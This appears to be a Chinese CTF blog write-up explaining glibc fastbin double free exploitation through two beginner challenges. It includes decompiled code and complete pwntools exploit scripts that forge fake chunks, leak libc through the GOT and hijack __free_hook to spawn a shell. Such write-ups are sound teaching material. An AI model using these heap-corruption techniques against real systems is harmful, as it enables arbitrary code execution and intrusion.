从两道基础题简单认识和了解fastbin double free漏洞的利用

fastbin double free原理

Fastbin Double Free 是指 fastbin 的 chunk 可以被多次释放,因此可以在 fastbin 链表中存在多次。这样导致的后果是多次分配可以从 fastbin 链表中取出同一个堆块,相当于多个指针指向同一个堆块,结合堆块的数据内容可以实现类似于类型混淆 (type confused) 的效果。(即可以构造假的chunk实现任意地址写)

Fastbin Double Free 能够成功利用主要有两部分的原因

  1. fastbin 的堆块被释放后 next_chunk 的 pre_inuse 位不会被清空
  2. fastbin 在执行 free 的时候仅验证了 main_arena 直接指向的块,即链表指针头部的块。对于链表后面的块,并没有进行验证。例如,现在有chunk1和chunk2,如果我们在 chunk1 释放后,再释放 chunk2 ,这样 main_arena 就指向 chunk2 而不是 chunk1 了,此时我们再去释放 chunk1 就不再会被检测到。

例题-1 samsara

直接拖进ida进行分析

void __fastcall main(__int64 a1, char **a2, char **a3)
{
  int v3; // ebx
  int v4; // [rsp+Ch] [rbp-44h]
  int v5; // [rsp+10h] [rbp-40h]
  __gid_t rgid; // [rsp+14h] [rbp-3Ch]
  __int64 v7; // [rsp+18h] [rbp-38h]
  __int64 v8; // [rsp+20h] [rbp-30h]
  __int64 v9; // [rsp+28h] [rbp-28h]
  __int64 v10; // [rsp+30h] [rbp-20h]
  unsigned __int64 v11; // [rsp+38h] [rbp-18h]
 
  v11 = __readfsqword(0x28u);
  setvbuf(stdout, 0LL, 2, 0LL);
  rgid = getegid();
  setresgid(rgid, rgid, rgid);
  v8 = 0LL;
  puts("After defeating the Demon Dragon, you turned yourself into the Demon Dragon...");
  while ( 2 )
  {
    v10 = 0LL;
    sub_A50();      
    //===============菜单函数==============//
    // puts("1. Capture a human");        //
    //puts("2. Eat a human");             //
    //puts("3. Cook a human");            //
    //puts("4. Find your lair");          //
    //puts("5. Move to another kingdom"); //
    //puts("6. Commit suicide");          //
    //====================================//
    _isoc99_scanf("%d", &v4);
    switch ( (unsigned int)off_F70 )
    {
      case 1u:
        if ( dword_20202C >= 7 )     //最多只可以抓7个人
        {
          puts("You can't capture more people.");
        }
        else
        {
          v3 = dword_20202C;
          qword_202040[v3] = malloc(8uLL);//为每个人malloc一块空间,将返回的指针存入qword_202040数组中
          ++dword_20202C;
          puts("Captured.");
        }
        continue;
      case 2u:
        puts("Index:");
        _isoc99_scanf("%d", &v5);
        //free掉对应的chunk块,但这里要注意,free掉对应的chunk块之后并没有将指针置NULL。这就是本题漏洞所在
        free(qword_202040[v5]);  
        puts("Eaten.");
        continue;
      case 3u:
        puts("Index:");
        _isoc99_scanf("%d", &v5);
        puts("Ingredient:");
        //编辑对应的堆块内容
        _isoc99_scanf("%llu", &v10);
        *(_QWORD *)qword_202040[v5] = v10;
        puts("Cooked.");
        continue;
      case 4u:
        //打印v7变量的地址
        printf("Your lair is at: %pn", &v7);
        continue;
      case 5u:
        //为v7变量赋值
        puts("Which kingdom?");
        _isoc99_scanf("%llu", &v9);
        v7 = v9;
        puts("Moved.");
        continue;
      case 6u:
        //如果v8变量的值等于0xDEADBEEF,则执行后门函数,否则退出程序
        if ( v8 == 0xDEADBEEFLL )
          system("/bin/sh");
        puts("Now, there's no Demon Dragon anymore...");
        break;
      default:
        goto LABEL_13;
    }
    break;
  }
LABEL_13:
  exit(1);
}

根据伪代码分析可以知道我们现在要解决的问题是如何让v8= 0xDEADBEEF,但是由于v8是一个栈上地址,程序所提供的功能无法对栈上的地址进行修改。分析到这里可以比较自然的想到要使用double free实现任意地址写。具体怎么实现我们接下一步步讲解。

首先,既然要利用double free漏洞,那必须先构造出double free。double free顾名思义就是一个堆块被free了两次,但我们不能直接连续free同一个chunk两次。因为这会被安全检测机制检测到,所以我们需要在中间插入另一个chunk进行free,绕过安全检测机制。实际操作如下:

def dbg():
    gdb.attach(p)
    pause()
 
# start
def add():
    sla('> ','1')
 
def delete(index):
    sla('> ','2')
    sla(':n',str(index))
 
def edit(index,content):
    sla('> ','3')
    sla(':n',str(index))
    sla(':n',content)
 
def show():
    sla('> ','4')
    ru('0x')
    return int(ru('n'),16)
 
def move(dest):
    sla('> ','5')
    sla('?n', str(dest))
 
add() # 0
add() # 1
 
delete(0)
delete(1)
delete(0)

我们add了people 0 和 people 1,并且根据0,1,0顺序进行delete。可以到看fastbin中出现了类似于循环链表的情况,且people 0 对应的chunk被free了两次。

从两道基础题简单认识和了解fastbin double free漏洞的利用_第1张图片

我们继续add两次,得到people 2 和 people 3,但这里其实申请的是在fastbin中的chunk0和chunk1,所以此时fastbin中还剩下一个chunk0的指针,要注意此时的chunk0虽然依旧是处于free状态的,但是我们可以对chunk0的数据部分进行读写,即可以修改其的fd指针。

从两道基础题简单认识和了解fastbin double free漏洞的利用_第2张图片

回到最开始的问题如何修改栈上变量v8的值?解决方法是在变量v8处构造一个fake chunk,再通过修改chunk0的fd指针将fake chunk链接到fastbin中。这样我们就可以申请到fake chunk,并且可以对数据进行修改,即修改变量v8的值。

#设置fake chunk的size字段为0x20,与chunk0的大小相同,从而实现链接
move(0x20)
#根据show打印出的变量v7的地址减8计算出fake chunk的chunk头指针
fake = show()-8 #fake = 0x7ffc8a811c98-0x8 ==> 0x7ffc8a811c90
print hex(fake)
#将fake chunk的chunk头指针写入chunk0的fd指针处
edit(2,fake)

IMG_258

从两道基础题简单认识和了解fastbin double free漏洞的利用_第3张图片

add() # 4
add() # 5
edit(5,0xdeadbeef)
#由于不是同一次调试,所以fake chunk的地址不同。

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-wDhCv4cc-1594640257910)(https://tva1.sinaimg.cn/large/007S8ZIlly1ggp2uop9pqj314c038aav.jpg)]

完整的exp

from pwn import  *
from LibcSearcher import LibcSearcher
from sys import argv
 
def ret2libc(leak, func, path=''):
    if path == '':
        libc = LibcSearcher(func, leak)
        base = leak - libc.dump(func)
        system = base + libc.dump('system')
        binsh = base + libc.dump('str_bin_sh')
    else:
        libc = ELF(path)
        base = leak - libc.sym[func]
        system = base + libc.sym['system']
        binsh = base + libc.search('/bin/sh').next()
 
    return (system, binsh)
 
s       = lambda data               :p.send(str(data))
sa      = lambda delim,data         :p.sendafter(str(delim), str(data))
sl      = lambda data               :p.sendline(str(data))
sla     = lambda delim,data         :p.sendlineafter(str(delim), str(data))
r       = lambda num=4096           :p.recv(num)
ru      = lambda delims, drop=True  :p.recvuntil(delims, drop)
itr     = lambda                    :p.interactive()
uu32    = lambda data               :u32(data.ljust(4,''))
uu64    = lambda data               :u64(data.ljust(8,''))
leak    = lambda name,addr          :log.success('{} = {:#x}'.format(name, addr))
 
context.log_level = 'DEBUG'
binary = './samsara'
context.binary = binary
elf = ELF(binary)
p = process(binary)
 
 
def dbg():
    gdb.attach(p)
    pause()
 
# start
def add():
    sla('> ','1')
 
def delete(index):
    sla('> ','2')
    sla(':n',str(index))
 
def edit(index,content):
    sla('> ','3')
    sla(':n',str(index))
    sla(':n',content)
 
def show():
    sla('> ','4')
    ru('0x')
    return int(ru('n'),16)
 
def move(dest):
    sla('> ','5')
    sla('?n', str(dest))
 
add() # 0
add() # 1
 
 
delete(0)
delete(1)
delete(0)
 
add() # 2 <-> 0
add() # 3 <-> 1
 
move(0x20)
fake = show()-8
print hex(fake)
edit(2,fake)
dbg()
 
 
add() # 4
add() # 5
edit(5,0xdeadbeef)
 
sla('> ','6')
# end
itr()

例题-2 ACTF_2019_message

同样拖进ida中进行分析,程序主要有以下功能

从两道基础题简单认识和了解fastbin double free漏洞的利用_第4张图片

首先产看add message功能

从两道基础题简单认识和了解fastbin double free漏洞的利用_第5张图片

根据以上伪代码可以分析得出add一段message后程序会将length存储在数组 4 * i 的位置,而malloc返回的mem指针会存储在数组 4 * i + 2 的位置,实际的message内容存储在chunk中。我们可以add几段message,然后调试看一下数组的存储情况。

从两道基础题简单认识和了解fastbin double free漏洞的利用_第6张图片

调试后发现和伪代码中分析的有一点差别,根据调试结果可以知道实际数组的存储逻辑是在 2 * i 的位置存储length,在 2 * i + 1 的位置存储mem指针。这里ida分析的可能有点问题,以gdb调试的结果为准。

在Delete message中存在漏洞,Delete的时候仅仅free了chunk没有将指针置NULL

从两道基础题简单认识和了解fastbin double free漏洞的利用_第7张图片

edit会根据数组中存储的地址,在对应地址处写入数据

IMG_264

Show会根据数组中存储的地址,读取对应地址的数据

从两道基础题简单认识和了解fastbin double free漏洞的利用_第8张图片

本题没有像上题一样存在后门函数,而且可以查看保护,GOT表是不可写的,因此只能泄露出libc地址,尝试控制程序流。

从两道基础题简单认识和了解fastbin double free漏洞的利用_第9张图片

从程序分析可以知道edit和show功能都是根据数组存储的地址进行操作的,因此设想如果我们可以将数组中存储的地址进行修改,那不就可以实现任意地址的读写了。要修改数组中的地址首先肯定要在数组附近伪造一个fake chunk,再将fake chunk链接到fastbin中,最后申请到这个chunk,实现对数组中地址的修改。

第一步,构造double free

add(0x30) # 0 
#这里之所以要把第一个message的length申请为0x30大小,是为了让length成为后面构造的fake chunk的size,使之可以通过检查链接到fastbin中
add(0x20) # 1
add(0x20) # 2
dbg()
free(1)
free(2)
free(1)

IMG_266

第二步,构造fake chunk,将fake chunk链接到fastbin中,并打印出got表中的puts函数

fake = 0x602060-0x8 
#0x602060是数组的第0号位置,存储的是刚刚输入的length 0x30作为fake chunk的size字段,而0x602060-0x8得到的就是fake chunk的头指针
add(0x20,p64(fake)) # 3 <-> 1
#修改chunk1的fd指针,将fake chunk链接到fastbin中
add(0x20) # 4 <-> 2
add(0x20) # 5 <-> 1
add(0x20,p64(elf.got['puts'])) # 6 <-> fake
#得倒fake chunk,修改数据部分为p64(elf.got['puts']),即将数组第第1号位置存储的chunk0的mem指针修改为了指向got表中puts函数的地址
show(0)
#此时打印memsage0就可以得到puts函数的真实地址了
ru(': ')

屏幕快照 2020-07-10 16.11.51

第三步,泄漏libc

puts = uu64(r(6))
print hex(puts)
libc = LibcSearcher('puts', puts)
base = puts - libc.dump('puts')
system = base + libc.dump('system')
free_hook = base + libc.dump('__free_hook')

第四步,让free_hook指向system

edit(6,p64(free_hook))
#编辑memsage6,同之前一样实际修改的是数组的第1号位置,即message0存储数据指针的位置
edit(0,p64(system))
#此时修改message0,就后根据数组存储的free_hook的地址,在free_hook地址处写入system函数地址
add(0x8,'/bin/shx00') # 7
#add一个数据部分为‘/bin/shx00’的message
free(7)
#在执行free函数时会首先检查free_hook是否为空,如果不为空则执行对应的函数,而函数的参数就是chunk的数据部分内容,所以这里free(7)就会执行system(/bin/sh)
print hex(system)     #==>0x7f9ad4e543a0
print hex(free_hook)  #==>0x7f9ad51d57a8


IMG_267

IMG_268

补充:__free_hook 劫持原理

完整exp:

from pwn import  *
from LibcSearcher import LibcSearcher
from sys import argv

def ret2libc(leak, func, path=''):
    if path == '':
        libc = LibcSearcher(func, leak)
        base = leak - libc.dump(func)
        system = base + libc.dump('system')
        binsh = base + libc.dump('str_bin_sh')
    else:
        libc = ELF(path)
        base = leak - libc.sym[func]
        system = base + libc.sym['system']
        binsh = base + libc.search('/bin/sh').next()

    return (system, binsh)

s       = lambda data               :p.send(str(data))
sa      = lambda delim,data         :p.sendafter(delim, str(data))
sl      = lambda data               :p.sendline(str(data))
sla     = lambda delim,data         :p.sendlineafter(delim, str(data))
r       = lambda num=4096           :p.recv(num)
ru      = lambda delims, drop=True  :p.recvuntil(delims, drop)
uu64    = lambda data               :u64(data.ljust(8,''))
leak    = lambda name,addr          :log.success('{} = {:#x}'.format(name, addr))

context.log_level = 'DEBUG'
binary = './ACTF_2019_message'
context.binary = binary
elf = ELF(binary,checksec=False)
p = process(binary)

def dbg():
    gdb.attach(p)
    pause()

_add,_free,_edit,_show = 1,2,3,4
def add(size,content='a'):
    sla(':',_add)
    sla(':',size)
    sa(':',content)

def free(index):
    sla(':',_free)
    sla(':',index)

def edit(index,content):
    sla(':',_edit)
    sla(':',index)
    sa(':',content)

def show(index):
    sla(':',_show)
    sla(':',index)

# start
add(0x30) # 0
add(0x20) # 1
add(0x20) # 2

free(1)
free(2)
free(1)
dbg()

fake = 0x602060-0x8
add(0x20,p64(fake)) # 3 <-> 1
add(0x20) # 4 <-> 2
add(0x20) # 5 <-> 1
add(0x20,p64(elf.got['puts'])) # 6 <-> fake
show(0)
ru(': ')
dbg()


puts = uu64(r(6))
print hex(puts)
libc = LibcSearcher('puts', puts)
base = puts - libc.dump('puts')
system = base + libc.dump('system')
free_hook = base + libc.dump('__free_hook')

print hex(system)
print hex(free_hook)


edit(6,p64(free_hook))
dbg()
edit(0,p64(system))
dbg()
add(0x8,'/bin/shx00') # 7
free(7)

# end

p.interactive()

总结

这两道题都还算比较简单的,double free的核心问题是构造fake chunk以实现任意地址写,而伪造fake chunk的关键就是size字段和fd指针。希望看这些能对你理解double free有一定的帮助,我也是才刚刚开始学习堆的萌新,如果文章中有不对的地方还请师傅们批评指正。

ps:有关tcacha机制的利用打了草稿,还没有整理出来之后再更。

参考链接

https://ctf-wiki.github.io/ctf-wiki/pwn/linux/glibc-heap/fastbin_attack-zh/#fastbin-double-free

https://github.com/SignorMercurio/Heap-Tutorials

你可能感兴趣的:(pwn)